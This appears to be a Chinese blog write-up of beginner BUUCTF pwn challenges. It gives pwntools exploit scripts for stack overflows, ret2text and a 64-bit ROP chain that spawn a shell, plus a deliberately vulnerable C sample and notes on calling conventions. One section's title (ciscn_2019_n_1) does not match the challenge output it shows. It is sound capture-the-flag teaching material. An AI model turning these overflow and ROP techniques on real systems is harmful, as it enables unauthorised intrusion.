BUUCTF前四题

本文讲述了在CTF挑战中,如何通过下载文件、静态分析、IDA工具定位栈溢出漏洞,利用pwn技术和ROP技术编写exploit,包括payload构建、连接靶机、执行shell命令,以及在不同架构下(32位和64位)的具体操作过程,最终获取flag。

1.tset_yours_nc

1)先下载文件,启动靶机

先放到IDA里进行静态分析。

点击bin/sh,再点击command,点击X,发现地址

 再返回main点击F5,反汇编,查看,发现main函数里只有system,所以直接nc拿到flag.

解出改题

2.rip

先启动靶机,下载文件。

先用checkec进行检测

  • 从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE.
  • 可猜测为 栈溢出漏洞.,
  • 用IDA进行分析
  • 发现bin/sh,双击bin/sh,点击command,点击X,发现地址再fun函数里
  • 按F5,看到fun函数,发现sytem.
  • 我们需要想办法触发fun函数。
  • get函数
    gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。
    可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,进而获取flag

    三.编写exploit
    EXP的基本框架:

    > from pwn import*                  //pwntools函数导入
    sh = remote('node4.buuoj.cn',27719) //连接靶机的服务,需要输入对应的ip地址和端口号
    #sh = process('./pwn1')             //本地调试
    payload = b'a'*23+p64(0x40118A)     //输入payload来进行操作以拿到程序的shell
    sh.sendline(payload)  
                                        //sendline() - 发送带回车符的字符串
                                        //sendline() 和 send() 唯一的区别就是在发送的字符串后面加上了回车换行符.
    sh.interactive()                    //发送命令进行交互, sh.interactive()允许我们在终端里将命令传送到靶机服务器




    payload = b’a’*23+p64(0x40118A) 核心在于偏移量23计算和0x40118A的由来
    其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式
    偏移量23计算
    在main函数中,双击s,s占据了15个db,再加上"s"[saved registers]的8个db,一共23个db.


    0x40118A的由来
    在IDA中,打开fun函数, 可看到fun()函数开始的地址为0x401186, "/bin/sh"指令执行的地址为0x40118A


    四.运行EXP, 获取flag

    3.warmup_csaw_2016

  • 先检查,发现是64位,放入idax64:

  •  后门函数中运行的地址在0x000400611

    main函数中字符分配到的地址:

    从40到80

  • 最后,编写exp

    from pwn import *
    p=remote("node4.buuoj.cn",25851)
    payload=b'a'*(0x40+8)+p64(0x400611+1)
    p.sendline(payload)
    p.interactive()
     使用pwn工具

    直接出现flag:

  • 第四题
  • 4.ciscn_2019_n_1

    程序分析:32位程序,只开启了NX保护,然后打开 IDA, 查看一下源代码

  • 运行结果

    muggle@muggle-virtual-machine:~/CTF-Pwn/BUUCTF/pwn1_sctf_2016(栈溢出,I 变成 you)$ ./pwn
    Tell me something about yourself: I I I I I 
    So, you you you you

    大概意思就是会将 I 变成 you,这样就20个就等价于20个you这样就有60个字节了,这样就可以造成溢出了

  • 然后分析地址和偏移量

  • 然后写pyload

  • payload = offset*'I' +'aaaa'+ p32(0x08048F13) 
    

    然后得到falg

  • 14.[HarekazeCTF2019]baby_rop.1

  • 先启动靶机,下载文件
  • 程序分析:先进行分析,开了NX,打开 IDA
    在这里插入图片描述
    在这里插入图片描述发现了system函数和字符串/bin/sh
  • shelladdr=0x601048

  • systemaddr=0x400496
  • 然后写payload.

    payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
    

    得到flag

    ret2text的前置条件

  • 程序存在栈溢出漏洞,可以覆盖返回地址。

  • 程序.text段中存在可以执行恶意命令的代码片段,或者可以利用ROP技术拼接多个代码片段。

  • 程序没有开启地址随机化或者可以泄露地址信息,可以确定代码片段的地址。

  • 32位中构造ROP

  • 多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起,此时就需要传参传参

  • #include<stdio.h>
    #include<stdlib.h>
    #include<unistd.h>
    char shell[] = "/bin/sh";
    int func(char *cmd){
        system(shell);
        return 0;
    }
     
    int dofunc(){
        char a[8]={};
        write(1,"inputs: ",7);
        read(0,a,0x100);
        return 0;
    }
        
    int main(){
        dofunc();
        return 0;

    利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。

  • from pwn import *
    #配置信息
    context(log_level='debug',arch='i386',os='linux')
    #context(arch='arm64',os='linux')
     
    #打开路径
    file = './ret2text_func2_x86'
    io = process(file)
    elf = ELF(file)
    
     
    #注入信息
    sh_addr = 0x804c018
    #ret_addr = 0x8049186
    ret_addr = elf.symbols['func']
     
    padding = 0x14
    payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)
    dem = b'inputs:'
    io.sendlineafter(dem,payload)
    io.interactive()
    

    64构造ROP

    对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。

    ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。

    知道了ROP工具的功能,我们需要做的是

  • 修改rdi的值(可使用代码pop rdi ; ret)

  • 在栈中放入‘bin/sh’经由pop提交给rdi

  • 进入func函数内调用system函数

  • 64位x86架构

  • 0x400526    push    rbp
    0x400527    mov     rbp, rsp
    0x40052A    sub     rsp, 10h
    0x40052E    mov     [rbp+var_8], 1  # 变量 a 赋值
    0x400535    mov     [rbp+var_4], 2  # 变量 b 赋值
    0x40053C    mov     edx, [rbp+var_4]  # 变量 b 传参
    0x40053F    mov     eax, [rbp+var_8]  # 变量 a 传参
    0x400542    mov     esi, edx  # 变量 b 传参
    0x400544    mov     edi, eax  # 变量 a 传参
    0x400546    mov     eax, 0
    0x40054B    call    sum
    0x400550    mov     esi, eax
    0x400552    mov     edi, offset format ; "sum: %d"
    0x400557    mov     eax, 0
    0x40055C    call    _printf
    0x400561    nop
    0x400562    leave
    0x400563    retn
    

  • RDI (Destination Index): 用于传递第一个整数参数。

  • RSI (Source Index): 用于传递第二个整数参数。

  • RDX (Data Register): 用于传递第三个整数参数。

  • RCX (Counter Register): 用于传递第四个整数参数。

  • R8: 用于传递第五个整数参数。

  • R9: 用于传递第六个整数参数

32位架构

所有参数直接使用栈来传

0x0804840B    lea     ecx, [esp+4]
0x0804840F    and     esp, 0FFFFFFF0h
0x08048412    push    dword ptr [ecx-4]
0x08048415    push    ebp
0x08048416    mov     ebp, esp
0x08048418    push    ecx
0x08048419    sub     esp, 14h
0x0804841C    mov     [ebp+var_10], 1  # 此处变量赋值 a
0x08048423    mov     [ebp+var_C], 2   # 此处变量赋值 b
0x0804842A    sub     esp, 8
0x0804842D    push    [ebp+var_C]  # 此处往栈中压入 b 的地址
0x08048430    push    [ebp+var_10] # 此处往栈中压入 a 的地址
0x08048433    call    sum
0x08048438    add     esp, 10h
0x0804843B    sub     esp, 8
0x0804843E    push    eax
0x0804843F    push    offset format   ; "sum: %d"
0x08048444    call    _printf
0x08048449    add     esp, 10h
0x0804844C    nop
0x0804844D    mov     ecx, [ebp+var_4]
0x08048450    leave
0x08048451    lea     esp, [ecx-4]
0x08048454    retn

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值